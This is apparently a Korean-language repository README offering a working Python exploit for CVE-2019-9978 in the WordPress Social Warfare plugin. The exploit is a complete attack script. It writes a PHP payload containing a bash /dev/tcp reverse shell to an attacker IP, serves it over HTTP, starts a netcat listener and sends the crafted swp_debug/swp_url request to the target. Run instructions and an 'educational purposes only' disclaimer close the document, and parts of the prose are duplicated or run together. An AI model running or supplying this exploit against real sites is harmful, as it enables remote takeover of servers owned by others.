
`admin-post.php`의 `swp_debug` 매개변수는 원격 공격자가 악성 PHP 코드가 포함된 외부 파일을 포함할 수 있게 하며, 해당 코드는 서버에서 실행됩니다. 리버스 셸 페이로드를 호스팅하는 조작된 URL을 제공함으로써 공격자는 명령 실행 권한을 획득할 수 있습니다.
이 저장소는 WordPress용 Social Warfare 플러그인(버전 <= 3.5.2)의 원격 코드 실행 취약점인 CVE-2019-9978에 대한 작동하는 Python 익스플로잇을 포함합니다.
admin-post.php의 swp_debug 매개변수를 통해 원격 공격자가 악성 PHP 코드가 포함된 외부 파일을 포함할 수 있으며, 서버에서 이를 평가합니다. 리버스 셸 페이로드를 호스팅하는 조작된 URL을 제공함으로써 공격자는 명령 실행을 얻을 수 있습니다.
swp_url 매개변수를 전송합니다.example.com이 대상 IP에 매핑됨)#!/usr/bin/env python3
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")
def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start
# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# Send the malicious request
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")
ATTACKER_IP 및 LISTEN_PORT를 사용자 머신의 IP와 원하는 포트로 업데이트하세요.example.com을 올바른 IP로 해석하는지 확인하세요.python3 exploit.py
이 익스플로잇은 교육 목적으로만 제공됩니다. 소유하지 않은 시스템에서 명시적 허가 없이 사용하지 마십시오.